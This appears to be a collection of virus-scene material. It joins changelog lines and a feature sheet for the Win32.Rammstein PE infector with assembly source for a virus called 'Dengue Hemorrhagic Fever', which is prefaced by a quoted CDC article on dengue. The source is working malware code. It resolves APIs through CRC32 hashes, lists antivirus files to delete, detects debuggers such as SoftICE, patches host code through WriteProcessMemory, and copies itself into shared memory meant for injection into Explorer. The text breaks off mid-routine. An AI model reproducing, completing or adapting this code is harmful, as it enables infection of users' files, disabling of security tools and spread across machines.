20 May 2000 - Prizzy helped me a lot by pointing out to me that in


order to have the copro working ok I need to save it's
environment so that the data of the victim process in
not altered. thanx!! Also fixed the cpuid read.

14 May 2000 - Released first beta version to be tested

====================================================================
Virus Name ........... Win32.Rammstein
Virus Version ........ 4.0
Virus Size ........... 13346 (debug), 14520 (release)
Virus Author ......... Lord Julus / 29A
Release Date ......... 04 May 2000
Virus type ........... PE infector
Target OS ............ Win95, Win98, WinNT, Win2000
Target Files ......... many PE file types:
EXE COM ACM CPL HDI OCX PCI
QTC SCR X32 CNV FMT OCM OLB WPC
Append Method ........ The virus will check wether there is enough room
for it inside the code section. If there is not
enough room the virus will be placed at end. If
there is it will be inserted inside the code
section at a random offset while the original
code will be saved at end. The placing at the end
has also two variants. If the last section is
Resources or Relocations the virus will insert a
new section before the last section and place the
data there, also rearranging the last section's
RVAs. If the last section is another section a
new section will be placed at end. The name of
the new section is a common section name which is
choosed based on the existing names so that it
does not repeat. If the virus is placed at the
end just a small EPO code is used so that the eip
stays inside the code section.
A special situation occurs if there is no enough
space to add a new section header, for example
when the code section starts at RVA 200 (end of
headers). In this situation the virus will
increase the last section in order to append.
Infect Methods ....... -Direct file attacks: the virus will attack
specific files in the windows directory, files
which are most used by people
-Directory scan: all files in the current
directory will be infected, as well as 3 files in
the system directory and 3 in the windows
directory
-Api hooking (per-process residency): the virus
hooks a few api calls and infects files as the
victim uses the apis
-Intranet spreading: the virus spreads into the
LAN using only windows apis
Features ............. Multiple threads: the virus launches a main
thread. While this thread executes, in the same
time, the original thread returns to host, so no
slowing down appears. The main viral thread
launches other 6 threads and monitors their
execution. If one of the threads is not able to
finish the system is hanged because it means
somebody tryied to patch some of the thread code.
Heavy anti-debugging: i tried to use almost all
the anti-debug and anti-emulation stuff that I
know
FPU: uses fpu instructions
Crc32 search: uses crc32 to avoid waste of space
Memory roaming: allocates virtual memory and
jumps in it
Interlaced code: this means that some threads
share the same piece of code and the virus is
careful to let only one in the same time
otherwise we get some of the variables distroyed.
Preety hard to be emulated by avs.
Also features semaphores, timers
Marks infection using the Pythagoreic numbers.
SEH: the virus creates 9 SEH handlers, for each
thread and for the main thread.
(*) Polymorphic .......... Yes (2 engines: LJMLPE32, LJFPE32)
(*) Metamorphic .......... Yes (mild custom metamorphic engine)
Encrypted ............ Yes
Safety ............... Yes (avoids infecting many files)
Kill AV Processes .... Yes
Payload .............. On 14th every even month the infected process
will launch a thread that will display random
windows with some of the Rammstein's lyrics.
Pretty annoying... Probably this is the first
virus that actually creates real windows and
processes their messages. The windows shut down
as the victim process closes.
(*) Feature not included in this version.

Debug notes: please note that this source code features many ways of
debugging. You may turn on and off most of the virus's features by
turning some variables to TRUE or FALSE.
====================================================================

$
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DESC.TXT]ÄÄÄ
;============================================================================
;
; Dengue Hemorrhagic Fever
;
; BioCoded by GriYo / 29A
; griyo@bi0.net
;
;============================================================================
;
; About the biomodel
; ------------------
;
; Dengue Hemorrhagic Fever: The Emergence of a Global Health Problem
;
; Dengue and dengue hemorrhagic fever (DHF) are caused by one of four
;closely related, but antigenically distinct, virus serotypes (DEN-1, DEN-2,
;DEN-3, and DEN-4), of the genus Flavivirus. Infection with one of these
;serotypes does not provide cross-protective immunity, so persons living in
;a dengue-endemic area can have four dengue infections during their
;lifetimes. Dengue is primarily an urban disease of the tropics, and the
;viruses that cause it are maintained in a cycle that involves humans and
;Aedes aegypti, a domestic, day-biting mosquito that prefers to feed on
;humans. Infection with a dengue virus serotype can produce a spectrum of
;clinical illness, ranging from a nonspecific viral syndrome to severe and
;fatal hemorrhagic disease. Important risk factors for DHF include the
;strain and serotype of the virus involved, as well as the age, immune
;status, and genetic predisposition of the patient.
;
; The first reported epidemics of dengue fever occurred in 1779-1780
;in Asia, Africa, and North America; the near simultaneous occurrence of
;outbreaks on three continents indicates that these viruses and their
;mosquito vector have had a worldwide distribution in the tropics for more
;than 200 years. During most of this time, dengue fever was considered a
;benign, nonfatal disease of visitors to the tropics. Generally, there were
;long intervals (10-40 years) between major epidemics, mainly because the
;viruses and their mosquito vector could only be transported between
;population centers by sailing vessels.
;
; A global pandemic of dengue begun in Southeast Asia after World
;War II and has intensified during the last 15 years. Epidemics caused by
;multiple serotypes (hyperendemicity) are more frequent, the geographic
;distribution of dengue viruses has expanded, and DHF has emerged in the
;Pacific region and the Americas. In Southeast Asia, epidemic DHF
;first appeared in the 1950s, but by 1975 it had become a leading cause of
;hospitalization and death among children in many countries. In the 1980s,
;DHF began a second expansion into Asia when Sri Lanka, India, and the
;Maldive Islands had their first major DHF epidemics; Pakistan first
;reported an epidemic of dengue fever in 1994. The recent epidemics in
;Sri Lanka and India were associated with multiple dengue virus serotypes,
;but DEN-3 was predominant and was genetically distinct from DEN-3 viruses
;previously isolated from infected persons in those countries.
;
; After an absence of 35 years, epidemic dengue fever occurred in
;both Taiwan and the People's Republic of China in the 1980s. The People's
;Republic of China had a series of epidemics caused by all four serotypes,
;and its first major epidemic of DHF, caused by DEN-2, was reported on
;Hainan Island in 1985. Singapore also had a resurgence of dengue/DHF
;from 1990 to 1994 after a successful control program had prevented
;significant transmission for over 20 years. In other countries of Asia
;where DHF is endemic, the epidemics have become progressively larger in the
;last 15 years.
;
; In the Pacific, dengue viruses were reintroduced in the early 1970s
;after an absence of more than 25 years. Epidemic activity caused by all
;four serotypes has intensified in recent years with major epidemics of DHF
;on several islands.
;
; Despite poor surveillance for dengue in Africa, we know that
;epidemic dengue fever caused by all four serotypes has increased
;dramatically since 1980. Most activity has occurred in East Africa, and
;major epidemics were reported for the first time in the Seychelles (1977),
;Kenya (1982, DEN-2), Mozambique (1985, DEN-3), Djibouti (1991-92, DEN-2),
;Somalia (1982, 1993, DEN-2), and Saudi Arabia (1994, DEN-2) (CDC,
;unpublished data). Epidemic DHF has been reported in neither Africa nor the
;Middle East, but sporadic cases clinically compatible with DHF have been
;reported from Mozambique, Djibouti, and Saudi Arabia (CDC, unpublished
;data).
;
; The emergence of dengue/DHF as a major public health problem has
;been most dramatic in the American region. In an effort to prevent urban
;yellow fever, which is also transmitted by Ae. aegypti, the Pan American
;Health Organization organized a campaign that eradicated Ae. aegypti from
;most Central and South American countries in the 1950s and 1960s. As a
;result, epidemic dengue occurred only sporadically in some Caribbean
;islands during this period. The Ae. aegypti eradication program, which was
;officially discontinued in the United States in 1970, gradually eroded
;elsewhere, and this species began to reinfest countries from which it had
;been eradicated. In 1995, the geographic distribution of Ae. aegypti was
;similar to its distribution before the eradication program.
;
; In 1970, only DEN-2 virus was present in the Americas, although
;DEN-3 may have had a focal distribution in Colombia and Puerto Rico. In
;1977, DEN-1 was introduced and caused major epidemics throughout the
;region over a 16-year period. DEN-4 was introduced in 1981 and caused
;similar widespread epidemics. Also in 1981, a new strain of DEN-2 from
;Southeast Asia caused the first major DHF epidemic in the Americas (Cuba).
;This strain has spread rapidly throughout the region and has caused
;outbreaks of DHF in Venezuela, Colombia, Brazil, French Guiana, Suriname,
;and Puerto Rico. By 1995, 14 countries in the American region had reported
;confirmed DHF cases, and DHF is endemic in many of these countries.
;
; DEN-3 virus recently reappeared in the Americas after an absence of
;16 years. This serotype was first detected in association with a 1994
;dengue/DHF epidemic in Nicaragua. Almost simultaneously, DEN-3 was
;confirmed in Panama and, in early 1995, in Costa Rica (CDC, unpublished
;data). In Nicaragua, considerable numbers of DHF were associated with the
;epidemic, which was apparently caused by DEN-3. In Panama and Costa Rica,
;the cases were classic dengue fever.
;
; Viral envelope gene sequence data from the DEN-3 strains isolated
;from Panama and Nicaragua have shown that this new American DEN-3 virus
;strain was likely a recent introduction from Asia since it is genetically
;distinct from the DEN-3 strain found previously in the Americas, but is
;identical to the DEN-3 virus serotype that caused major DHF epidemics in
;Sri Lanka and India in the 1980s (R. Lanciotti; unpublished data). The new
;DEN-3 strain, and the susceptibility of the population in the American
;tropics to it, suggests that DEN-3 will spread rapidly throughout the
;region and likely will cause major epidemics of dengue/DHF in the near
;future.
;
; In 1995, dengue is the most important mosquito-borne viral disease
;affecting humans; its global distribution is comparable to that of malaria,
;and an estimated 2.5 billion people are living in areas at risk for epidemic
;transmission. Each year, tens of millions of cases of dengue fever occur
;and, depending on the year, up to hundreds of thousands of cases of DHF. The
;case-fatality rate of DHF in most countries is about 5%: most fatal cases
;are among children.
;
; There is a small, but significant, risk for dengue outbreaks in the
;continental United States. Two competent mosquito vectors, Ae. aegypti and
;Aedes albopictus, are present and, under certain circumstances, each could
;transmit dengue viruses. This type of transmission has been detected twice
;in the last 15 years in south Texas (1980 and 1986) and has been associated
;with dengue epidemics in northern Mexico. Moreover, numerous viruses are
;introduced annually by travelers returning from tropical areas where dengue
;viruses are endemic. From 1977 to 1994, a total of 2,248 suspected cases of
;imported dengue were reported in the United States (CDC, unpublished data).
;Although some specimens collected were not adequate for laboratory
;diagnosis, preliminary data indicate that 481 (21%) cases were confirmed as
;dengue (CDC, unpublished data). Many more cases probably go unreported each
;year because surveillance in the United States is passive and relies on
;physicians to recognize the disease, inquire about the patient's travel
;history, obtain proper diagnostic samples, and report the case. These data
;underscore the fact that southern Texas and the southeastern United States,
;where Ae. aegypti is found, are at risk for dengue transmission and
;sporadic outbreaks.
;
; The reasons for this dramatic global emergence of dengue/DHF as a
;major public health problem are complex and not well understood. However,
;several important factors can be identified. First, effective mosquito
;control is virtually nonexistent in most dengue-endemic countries.
;Considerable emphasis for the past 20 years has been placed on
;ultra-low-volume insecticide space sprays for adult mosquito control, a
;relatively ineffective approach for controlling Ae. aegypti. Second, major
;global demographic changes have occurred, the most important of which have
;been uncontrolled urbanization and concurrent population growth. These
;demographic changes have resulted in substandard housing and inadequate
;water, sewer, and waste management systems, all of which increase
;Ae. aegypti population densities and facilitate transmission of
;Ae. aegypti-borne disease. Third, increased travel by airplane provides
;the ideal mechanism for transporting dengue viruses between population
;centers of the tropics, resulting in a constant exchange of dengue viruses
;and other pathogens. Lastly, in most countries the public health
;infrastructure has deteriorated. Limited financial and human resources and
;competing priorities have resulted in a "crisis mentality" with emphasis
;on implementing so-called emergency control methods in response to
;epidemics rather than on developing programs to prevent epidemic
;transmission. This approach has been particularly detrimental to dengue
;control because, in most countries, surveillance is very inadequate; the
;system to detect increased transmission normally relies on reports by local
;physicians who often do not consider dengue in their diagnoses. As a result,
;an epidemic has often reached or passed the peak of transmission before it
;is detected.
;
; No dengue vaccine is available. Recently, however, attenuated
;candidate vaccine viruses have been developed in Thailand. These vaccines
;are safe and immunogenic when given in various formulations, including a
;quadrivalent vaccine for all four dengue virus serotypes. Unfortunately,
;efficacy trials in human volunteers have yet to be initiated. Research is
;also being conducted to develop second-generation recombinant vaccine
;viruses; the Thailand attenuated viruses are used as a template. However,
;an effective dengue vaccine for public use will not be available for 5 to
;10 years.
;
; Prospects for reversing the recent trend of increased epidemic
;activity and geographic expansion of dengue are not promising. New dengue
;virus strains and serotypes will likely continue to be introduced into many
;areas where the population densities of Ae. aegypti are at high levels. With
;no new mosquito control technology available, in recent years public health
;authorities have emphasized disease prevention and mosquito control through
;community efforts to reduce larval breeding sources. Although this approach
;will probably be effective in the long run, it is unlikely to impact disease
;transmission in the near future. We must, therefore, develop improved,
;proactive, laboratory-based surveillance systems that can provide early
;warning of an impending dengue epidemic. At the very least, surveillance
;results can alert the public to take action and physicians to diagnose and
;properly treat dengue/DHF cases.
;
;Duane J. Gubler and Gary G. Clark
;National Center for Infectious Diseases
;Centers for Disease Control and Prevention
;Fort Collins, Colorado, and San Juan, Puerto Rico, USA
;
;============================================================================

.386P
locals
jumps
.model flat,STDCALL

include Win32api.inc
include Useful.inc
include Mz.inc
include Pe.inc

extrn GetModuleHandleA:NEAR
extrn Sleep:NEAR

NUMBER_OF_POLY_LAYERS equ 04h ; Max number of poly decryptors

;============================================================================
;Fake host used for virus 1st generation
;============================================================================

_TEXT segment dword use32 public 'CODE'

;============================================================
;We need the CRC lookup table for the next steps
;============================================================

host_code: xor ebp,ebp


call make_crc_tbl

;============================================================
;Save the CRC32 of 'KERNEL32.DLL' inside virus body
;============================================================

mov esi,offset g1_szKernel32


call get_str_crc32
mov dword ptr [CrcKernel32],edx

;============================================================
;Save the CRC32 of 'GetProcAddress' inside virus body
;============================================================

mov esi,offset g1_szGetProcAddr


call get_str_crc32
mov dword ptr [CrcGetProcAddr],edx

;============================================================
;Save the CRC32 of infectable file extensions
;============================================================

mov esi,offset g1_szEXE


call get_str_crc32
mov dword ptr [CRC32_szEXE],edx

mov esi,offset g1_szSCR


call get_str_crc32
mov dword ptr [CRC32_szSCR],edx

mov esi,offset g1_szCPL


call get_str_crc32
mov dword ptr [CRC32_szCPL],edx

;============================================================
;Save the CRC32 of some AV files
;============================================================

mov ecx,NumberOfAV
mov esi,offset g1_av_names
mov edi,offset TblCRC32AV
call save_crc_names

;============================================================
;Save the CRC32 of EXPLORER.EXE
;============================================================

mov esi,offset g1_szEXPLORER


call get_str_crc32
mov dword ptr [CRCszEXPLORER],edx

;============================================================
;Save the CRC32 of 'USER32.DLL'
;============================================================

mov esi,offset g1_szUSER32


call get_str_crc32
mov dword ptr [CRCszUSER32],edx

;============================================================
;Save the CRC32 of 'PSAPI.DLL'
;============================================================

mov esi,offset g1_szPSAPI


call get_str_crc32
mov dword ptr [CRCszPSAPI],edx

;============================================================
;Save the CRC32 of 'IMAGEHLP.DLL'
;============================================================

mov esi,offset g1_szIMGHLP


call get_str_crc32
mov dword ptr [CRCszIMGHLP],edx

;============================================================
;Save the CRC32 of 'SFC.DLL'
;============================================================

mov esi,offset g1_szSFC


call get_str_crc32
mov dword ptr [CRCszSFC],edx
;============================================================
;Get CRC's of needed API's and save them inside virus body
;Lets start with KERNEL32 API names
;============================================================

mov ecx,NumK32Apis
mov esi,offset namesK32Apis
mov edi,offset CRC32K32Apis
call save_crc_names

;============================================================
;This are some special handled APIs
;============================================================

mov ecx,00000001h
mov esi,offset name_IsDebuggerPresent
mov edi,offset CRC32_IsDebugPr
call save_crc_names

;============================================================
;Get TOOLHELP APIs (Windows 9x only)
;============================================================

mov ecx,NumTOOLHELPApis
mov esi,offset namesTOOLHELPApis
mov edi,offset CRC32TOOLHELPApis
call save_crc_names

;============================================================
;Get PSAPI.DLL APIs (Windows Nt & Windows 2000 only)
;============================================================

mov ecx,NumPSAPIApis
mov esi,offset namesPSAPIApis
mov edi,offset CRC32PSAPIApis
call save_crc_names

;============================================================
;Get API used to compute image checksum
;============================================================

mov ecx,NumIMGHLPApis
mov esi,offset namesIMGHLPApis
mov edi,offset CRC32IMGHLPApis
call save_crc_names

;============================================================
;Get API used to check for Windows2000 System File Protection
;============================================================

mov ecx,NumSFCApis
mov esi,offset namesSFCApis
mov edi,offset CRC32SFCApis
call save_crc_names

;============================================================
;Get CRC32 of USER32 API names ( Ansi version )
;============================================================

mov ecx,NumUSER32Apis
mov esi,offset namesUSER32Apisw9x
mov edi,offset CRC32USER32Apisw9x
call save_crc_names
;============================================================
;Get CRC32 of USER32 API names ( Wide version )
;============================================================

mov ecx,NumUSER32Apis
mov esi,offset namesUSER32Apiswnt
mov edi,offset CRC32USER32Apiswnt
call save_crc_names

;============================================================
;Build the do-not-infect-file-by-name CRC32 table
;============================================================

mov ecx,avoid_num
mov esi,offset g1_avoid_files
mov edi,offset avoid_tbl
call save_crc_names

;============================================================
;Get KERNEL32.DLL module handle
;============================================================

push offset g1_szKernel32


call GetModuleHandleA
or eax,eax
jz out_1st_gen
mov ebx,eax
xor ebp,ebp

db 05h dup (90h)

call get1st_end

db 05h dup (90h)

;============================================================
;Let the 1st generation host running
;============================================================

out_1st_gen: push 0FFFFFFFFh


call Sleep

jmp out_1st_gen ;Never executed, but i dont want to remove it


;anyway, this wont take part of the main
;virus body...

;============================================================
;Ready to jump into main virus body !!!!
;============================================================

get1st_end: push eax ; Space for ebx


push eax ; Space for esi
push eax ; Space for edi
push eax ; Space for ebp

xor ebp,ebp
jmp entry_1st_gen

;============================================================
;Routine that converts API names in CRC32 values
;============================================================
save_crc_names: cld
get_g1_crc: push ecx
lodsd
push esi
mov esi,eax
call get_str_crc32
mov eax,edx
stosd
pop esi
pop ecx
loop get_g1_crc
ret

_TEXT ends

;============================================================================
;Here comes the rest of the sections in virus 1st generation
;============================================================================

_DATA segment dword use32 public 'DATA'

;============================================================
;Used to locate KERNEL32 base address on 1st generation
;============================================================

g1_szKernel32 db 'KERNEL32.DLL',00h
g1_szGetProcAddr db 'GetProcAddress',00h

;============================================================
;Used to check if file extension is infectable
;============================================================

g1_szEXE db '.EXE',00h
g1_szSCR db '.SCR',00h
g1_szCPL db '.CPL',00h

;============================================================
;This virus use CRC32 instead of DLL names !!!!
;
;LoadLibrary requires the DLL name as parameter... but
;we can find the DLL name by browsing SYSTEM32 directory
;for a file whose CRC32 matches a given one
;============================================================

g1_szEXPLORER db 'EXPLORER.EXE',00h
g1_szUSER32 db 'USER32.DLL',00h
g1_szPSAPI db 'PSAPI.DLL',00h
g1_szIMGHLP db 'IMAGEHLP.DLL',00h
g1_szSFC db 'SFC.DLL',00h

;============================================================
;Do not infect files with this character combinations on
;their names
;============================================================

g1_avoid_files equ $

dd offset g1_avoid_00
dd offset g1_avoid_01
dd offset g1_avoid_02
dd offset g1_avoid_03
dd offset g1_avoid_04
dd offset g1_avoid_05
dd offset g1_avoid_06
dd offset g1_avoid_07
dd offset g1_avoid_08
dd offset g1_avoid_09
dd offset g1_avoid_0A
dd offset g1_avoid_0B
dd offset g1_avoid_0C
dd offset g1_avoid_0D
dd offset g1_avoid_0E
dd offset g1_avoid_0F
dd offset g1_avoid_10
dd offset g1_avoid_11
dd offset g1_avoid_12
dd offset g1_avoid_13
dd offset g1_avoid_14
dd offset g1_avoid_15
dd offset g1_avoid_16
dd offset g1_avoid_17
dd offset g1_avoid_18

avoid_num equ ($-g1_avoid_files)/04h

g1_avoid_00 db 'DR',00h
g1_avoid_01 db 'PA',00h
g1_avoid_02 db 'RO',00h
g1_avoid_03 db 'VI',00h
g1_avoid_04 db 'AV',00h
g1_avoid_05 db 'TO',00h
g1_avoid_06 db 'CA',00h
g1_avoid_07 db 'IN',00h
g1_avoid_08 db 'MS',00h
g1_avoid_09 db 'SR',00h
g1_avoid_0A db 'SP',00h
g1_avoid_0B db 'RP',00h
g1_avoid_0C db 'PR',00h
g1_avoid_0D db 'NO',00h
g1_avoid_0E db 'CE',00h
g1_avoid_0F db 'LE',00h
g1_avoid_10 db 'MO',00h
g1_avoid_11 db 'SM',00h
g1_avoid_12 db 'DD',00h
g1_avoid_13 db 'SO',00h
g1_avoid_14 db 'SQ',00h
g1_avoid_15 db 'EX',00h
g1_avoid_16 db 'IE',00h
g1_avoid_17 db 'CM',00h
g1_avoid_18 db 'CO',00h

;============================================================
;Delete this AV files
;============================================================

g1_av_names equ $

dd offset g1_delete_00
dd offset g1_delete_01
dd offset g1_delete_02
dd offset g1_delete_03
dd offset g1_delete_04

NumberOfAV equ ($-g1_av_names)/04h

g1_delete_00 db 'AVP.CRC',00h
g1_delete_01 db 'ANTI-VIR.DAT',00h
g1_delete_02 db 'CHKLIST.CPS',00h
g1_delete_03 db 'CHKLIST.MS',00h
g1_delete_04 db 'IVP.NTZ',00h

;============================================================
;KERNEL32.DLL API names
;
;Note that this tables and strings are not included into the
;virus body after 1st generation. Only CRC32 values
;============================================================

namesK32Apis equ $

dd offset g1_CreateFileA
dd offset g1_CreateFileMappingA
dd offset g1_CreateProcessA
dd offset g1_CreateThread
dd offset g1_CloseHandle
dd offset g1_DeleteFileA
dd offset g1_ExitThread
dd offset g1_FindClose
dd offset g1_FindFirstFileA
dd offset g1_FindNextFileA
dd offset g1_FreeLibrary
dd offset g1_GetComputerNameA
dd offset g1_GetCurrentProcess
dd offset g1_GetDriveTypeA
dd offset g1_GetFileAttributesA
dd offset g1_GetLastError
dd offset g1_GetLocalTime
dd offset g1_GetLogicalDriveStringsA
dd offset g1_GetSystemDirectoryA
dd offset g1_GetVersionEx
dd offset g1_LoadLibraryA
dd offset g1_MapViewOfFile
dd offset g1_OpenFileMappingA
dd offset g1_OpenProcess
dd offset g1_ReadProcessMemory
dd offset g1_SetEndOfFile
dd offset g1_SetFileAttributesA
dd offset g1_SetFilePointer
dd offset g1_SetFileTime
dd offset g1_Sleep
dd offset g1_UnmapViewOfFile
dd offset g1_WriteProcessMemory

g1_CreateFileA db 'CreateFileA',00h
g1_CreateFileMappingA db 'CreateFileMappingA',00h
g1_CreateProcessA db 'CreateProcessA',00h
g1_CreateThread db 'CreateThread',00h
g1_CloseHandle db 'CloseHandle',00h
g1_DeleteFileA db 'DeleteFileA',00h
g1_ExitThread db 'ExitThread',00h
g1_FindClose db 'FindClose',00h
g1_FindFirstFileA db 'FindFirstFileA',00h
g1_FindNextFileA db 'FindNextFileA',00h
g1_FreeLibrary db 'FreeLibrary',00h
g1_GetComputerNameA db 'GetComputerNameA',00h
g1_GetCurrentProcess db 'GetCurrentProcess',00h
g1_GetDriveTypeA db 'GetDriveTypeA',00h
g1_GetFileAttributesA db 'GetFileAttributesA',00h
g1_GetLastError db 'GetLastError',00h
g1_GetLocalTime db 'GetLocalTime',00h
g1_GetLogicalDriveStringsA db 'GetLogicalDriveStringsA',00h
g1_GetSystemDirectoryA db 'GetSystemDirectoryA',00h
g1_LoadLibraryA db 'LoadLibraryA',00h
g1_GetVersionEx db 'GetVersionExA',00h
g1_MapViewOfFile db 'MapViewOfFile',00h
g1_OpenFileMappingA db 'OpenFileMappingA',00h
g1_OpenProcess db 'OpenProcess',00h
g1_ReadProcessMemory db 'ReadProcessMemory',00h
g1_SetEndOfFile db 'SetEndOfFile',00h
g1_SetFileAttributesA db 'SetFileAttributesA',00h
g1_SetFilePointer db 'SetFilePointer',00h
g1_SetFileTime db 'SetFileTime',00h
g1_Sleep db 'Sleep',00h
g1_UnmapViewOfFile db 'UnmapViewOfFile',00h
g1_WriteProcessMemory db 'WriteProcessMemory',00h

;============================================================
;Special KERNEL32 APIs
;============================================================

name_IsDebuggerPresent dd offset g1_IsDebuggerPresent

g1_IsDebuggerPresent db 'IsDebuggerPresent',00h

;============================================================
;ToolHelp APIs
;============================================================

namesTOOLHELPApis equ $

dd offset g1_CreateToolhelp32Snapshot
dd offset g1_Process32First
dd offset g1_Process32Next
dd offset g1_Module32First
dd offset g1_Module32Next

g1_CreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot',00h
g1_Process32First db 'Process32First',00h
g1_Process32Next db 'Process32Next',00h
g1_Module32First db 'Module32First',00h
g1_Module32Next db 'Module32Next',00h

;============================================================
;PSAPI.DLL API names
;============================================================

namesPSAPIApis equ $

dd offset g1_EnumProcessModules
dd offset g1_EnumProcesses
dd offset g1_GetModuleBaseNameA
dd offset g1_GetModuleInformation

g1_EnumProcessModules db 'EnumProcessModules',00h
g1_EnumProcesses db 'EnumProcesses',00h
g1_GetModuleBaseNameA db 'GetModuleBaseNameA',00h
g1_GetModuleInformation db 'GetModuleInformation',00h

;============================================================
;SFC.DLL API names
;============================================================
namesSFCApis equ $

dd offset g1_SfcIsFileProtected

g1_SfcIsFileProtected db 'SfcIsFileProtected',00h

;============================================================
;IMAGEHLP.DLL API names
;============================================================

namesIMGHLPApis equ $

dd offset g1_CheckSumMappedFile

g1_CheckSumMappedFile db 'CheckSumMappedFile',00h

;============================================================
;USER32.DLL API names (Ansi version)
;============================================================

namesUSER32Apisw9x equ $

dd offset g1w9x_DefWindowProc

g1w9x_DefWindowProc db 'DefWindowProcA',00h

;============================================================
;USER32.DLL API names (Wide version)
;============================================================

namesUSER32Apiswnt equ $

dd offset g1wnt_DefWindowProc

g1wnt_DefWindowProc db 'DefWindowProcW',00h

_DATA ends

_BSS segment dword use32 public 'BSS'

_BSS ends

;============================================================================
;Viral section
;
;You have to understand that all the above-mentioned is not part of the virus
;This means that the text strings and other information previous to this
;point will be discarded
;============================================================================

virseg segment dword use32 public 'Dengue'

;============================================================
;Get delta offset in ebp
;============================================================

viro_sys: call HostDelta


HostDelta: pop ebp
sub ebp,offset HostDelta

;============================================================
;Create CRC32 lookup table... This virus uses CRC32 in lots
;of places along its code... Precalculated tables helps to
;really speed-up virus activitie
;============================================================

call make_crc_tbl

;============================================================
;Check CRC32 of main virus body
;
; esi -> Ptr to buffer
; ecx -> Buffer size
;============================================================

mov ecx,SizeOfProtect
lea esi,dword ptr [ebp+CRC_protected]
call get_crc32

;============================================================
;Checksum matches?
;============================================================

db 0B8h ; mov eax,imm


ViralChecksum dd 00000000h

cmp eax,edx
jne critical_error

CRC_protected equ $

;============================================================
;Scan system memory looking for KERNEL32.DLL
;============================================================

KernelScanning: pushad
fK32_try_01: mov eax,080000101h
call IGetNtBaseAddr
jecxz fK32_try_02
jmp short kernel_found
fK32_try_02: mov eax,0C0000101h
call IGetNtBaseAddr
jecxz fK32_try_03
jmp short kernel_found
fK32_try_03: xor eax,eax
call IGetNtBaseAddr
kernel_found: jecxz critical_error
mov dword ptr [esp.Pushad_ebx],ecx
popad

;============================================================
;This is the entry-point for 1st generation
;Now EBX points to KERNEL32.DLL base address
;============================================================

entry_1st_gen: mov dword ptr [ebp+hKERNEL32],ebx

;============================================================
;Search for GetProcAddress entry-point
;============================================================

call GetGetProcAddr
jecxz critical_error
mov dword ptr [ebp+a_GetProcAddress],ecx

;============================================================
;Get KERNEL32 API addresses
;============================================================

mov ecx,NumK32Apis
lea esi,dword ptr [ebp+CRC32K32Apis]
lea edi,dword ptr [ebp+epK32Apis]
call get_APIs
jecxz RestoreHost

;============================================================
;Everything have to work, but if something goes wrong this
;will halt the process
;============================================================

critical_error: jmp critical_error

;============================================================
;Restore host code
;
;Make the return address point to the instruction which
;made the call
;============================================================

API_PUSH_SIZE equ 00000004h*00000004h

RestoreHost: lea esi,dword ptr [esp+API_PUSH_SIZE]


sub dword ptr [esi],00000005h
cld
lodsd

lea esi,dword ptr [ebp+EP_Bytes]


push esi
push 00000005h
call get_org_code

org_code db 05h dup (90h)

get_org_code: push eax


call dword ptr [ebp+a_GetCurrentProcess]
push eax
call dword ptr [ebp+a_WriteProcessMemory]
or eax,eax
jz critical_error

cld
lodsd
cmp eax,00000005h
jne critical_error

;============================================================
;Try to locate IsDebuggerPresent API
;============================================================

mov ecx,00000001h
lea esi,dword ptr [ebp+CRC32_IsDebugPr]
lea edi,dword ptr [ebp+a_IsDebuggerPresent]
call get_APIs
jecxz DetectDebug

jmp short SI_LookUp

;============================================================
;Check if the current process is running in the context of a
;debugger
;============================================================

DetectDebug: call dword ptr [ebp+a_IsDebuggerPresent]


or eax,eax
jnz GoBack2Host

;============================================================
;SoftIce lookup
;
;Code based on the article "Win32 Anti-Debugging tricks" by
;Billy Belcebu/iKX ( published on XINE#4 )
;============================================================

SI_LookUp: mov esi,dword ptr [ebp+a_CreateFileA]

push ecx
push FILE_ATTRIBUTE_READONLY
push OPEN_EXISTING
push ecx
push FILE_SHARE_READ
push GENERIC_READ
call Get_szSIw9x

db '\\.\SICE',00h

Get_szSIw9x: call esi


cmp eax,INVALID_HANDLE_VALUE
jne SI_Found

push 00000000h
push FILE_ATTRIBUTE_READONLY
push OPEN_EXISTING
push 00000000h
push FILE_SHARE_READ
push GENERIC_READ
call Get_szSIwNT

db '\\.\NTICE',00h

Get_szSIwNT: call esi


cmp eax,INVALID_HANDLE_VALUE
je SI_NotFound

SI_Found: push eax


call dword ptr [ebp+a_CloseHandle]
jmp GoBack2Host

;============================================================
;Get a object name based on current hostname
;============================================================

SI_NotFound: lea edi,dword ptr [ebp+SizeOfComputerName]


push edi
mov eax,00000020h
cld
stosd
push edi
call dword ptr [ebp+a_GetComputerNameA]
or eax,eax
jz GoBack2Host

mov esi,edi
call get_str_crc32

movzx ecx,byte ptr [edi]


and ecx,00000003h ; Number of characters
inc ecx

lea edi,dword ptr [ebp+szObjectName]

LoopBuildNick: mov al,dl


and al,0Fh
add al,'a' ; Get character
stosb
shr edx,04h
loop LoopBuildNick

mov eax,00003233h
stosd
mov al,cl
stosb

;============================================================
;Allocate shared memory
;
;MSDN says:
;
;"A shared file-mapping object will not be destroyed until
;all processes that use it close their handles to it by using
;the CloseHandle function."
;
;So the idea is to use CreateFileMapping and MapViewOfFile,
;instead of VirtualAlloc... Then read open this
;file-mapping from a small piece of code injected into
;EXPLORER.EXE
;============================================================

lea eax,dword ptr [ebp+szObjectName]


push eax
push alloc_size
push 00000000h
push PAGE_READWRITE
push 00000000h
push 0FFFFFFFFh
call dword ptr [ebp+a_CreateFileMappingA]
or eax,eax
jz GoBack2Host

mov edi,eax

call dword ptr [ebp+a_GetLastError]


cmp eax,000000B7h ; ERROR_ALREADY_EXISTS
jne ResCheckOk

push edi
call dword ptr [ebp+a_CloseHandle]

jmp GoBack2Host

ResCheckOk: push 00000000h


push 00000000h
push 00000000h
push FILE_MAP_WRITE
push edi
call dword ptr [ebp+a_MapViewOfFile]
or eax,eax
jz GoBack2Host

;============================================================
;Copy virus to allocated memory block
;============================================================

lea esi,dword ptr [ebp+viro_sys]


mov edi,eax
mov ecx,size_virtual
cld
rep movsb

;============================================================
;Continue execution on allocated memory!!!!!!!!!
;
;This means we are able to use extended buffers...
;============================================================

add eax,offset HostVirMem - offset viro_sys


push eax
ret

;============================================================================
;Code executed into allocated memory... Extended buffers are available now
;============================================================================

HostVirMem: call MemDelta


MemDelta: pop ebp
sub ebp,offset MemDelta

;============================================================
;The virus needs to locate SYSTEM directory in order to load
;DLL's by using CRC32 instead of their names
;============================================================

push MAX_PATH
